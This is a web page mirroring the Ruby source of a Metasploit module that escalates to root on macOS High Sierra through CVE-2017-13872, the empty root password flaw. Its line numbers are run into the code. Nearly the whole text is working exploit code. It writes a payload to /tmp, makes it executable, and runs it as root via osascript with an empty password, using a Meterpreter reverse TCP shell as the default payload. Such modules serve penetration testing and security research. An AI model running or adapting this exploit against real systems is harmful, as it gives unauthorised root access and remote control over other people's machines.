Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/local/root_no_password.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(update_info(info,15'Name' => 'Mac OS X Root Privilege Escalation',16'Description' => %q{17This module exploits a serious flaw in MacOSX High Sierra.18Any user can login with user "root", leaving an empty password.19},20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2017-13872' ],24[ 'URL', 'https://twitter.com/lemiorhan/status/935578694541770752' ],25[ 'URL', 'https://news.ycombinator.com/item?id=15800676' ],26[ 'URL', 'https://forums.developer.apple.com/thread/79235' ],27],28'Platform' => 'osx',29'Arch' => ARCH_X64,30'Author' => [31'chethan177', # earliest public discovery32'lemiorhan', # making this well-known via Twitter33'timwr', # Metasploit module34],35'DefaultOptions' =>36{37'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp',38},39'SessionTypes' => [ 'shell', 'meterpreter' ],40'Targets' => [41[ 'Mac OS X 10.13.1 High Sierra x64 (Native Payload)', { } ]42],43'DefaultTarget' => 0,44'DisclosureDate' => '2017-11-29'45))46end4748def exploit_cmd(root_payload)49"osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'"50end5152def exploit53if is_root?54fail_with Failure::BadConfig, 'Session already has root privileges'55end5657payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"58print_status("Writing payload file as '#{payload_file}'")59write_file(payload_file, payload.raw)60register_file_for_cleanup(payload_file)61output = cmd_exec("chmod +x #{payload_file}")62print_status("Executing payload file as '#{payload_file}'")63cmd_exec(exploit_cmd(payload_file))64end65end666768